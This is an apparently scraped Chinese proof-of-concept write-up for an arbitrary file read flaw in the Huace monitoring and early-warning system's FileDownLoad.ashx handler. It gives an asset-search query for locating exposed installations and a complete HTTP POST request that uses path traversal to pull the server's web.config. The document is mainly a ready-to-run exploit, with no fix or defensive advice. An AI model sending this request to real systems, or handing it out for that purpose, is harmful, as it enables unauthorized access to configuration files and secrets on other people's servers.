POC/wpoc/华测/华测监测预警系统任意文件读取漏洞.md

37 lines
1.2 KiB
Markdown
Raw Normal View History

2025-03-04 23:12:57 +08:00
# 华测监测预警系统任意文件读取漏洞
# 一、漏洞简介
华测监测预警系统`FileDownload.ashx`存在任意文件读取漏洞。
# 二、影响版本
+ 华测监测预警系统
# 三、资产测绘
+ hunter`app.name="华测监测预警系统"`
+ 登录页面
![1693923282566-a270faa1-3ae7-4bcd-9795-dba9dbe4ae6d.png](./img/WAOjDbmD35pXUcus/1693923282566-a270faa1-3ae7-4bcd-9795-dba9dbe4ae6d-950460.png)
# 四、漏洞复现
```plain
POST /Handler/FileDownLoad.ashx HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ASP.NET_SessionId=xp2shqaformcuin4cdxhm3ws
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
filename=1&filepath=..%2F..%2Fweb.config
```
![1693923344252-dbf6f445-b43a-4d97-b79b-f4755c3d42a3.png](./img/WAOjDbmD35pXUcus/1693923344252-dbf6f445-b43a-4d97-b79b-f4755c3d42a3-713801.png)
> 更新: 2024-02-29 23:55:47
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/rcvtzuhecd5rgas8>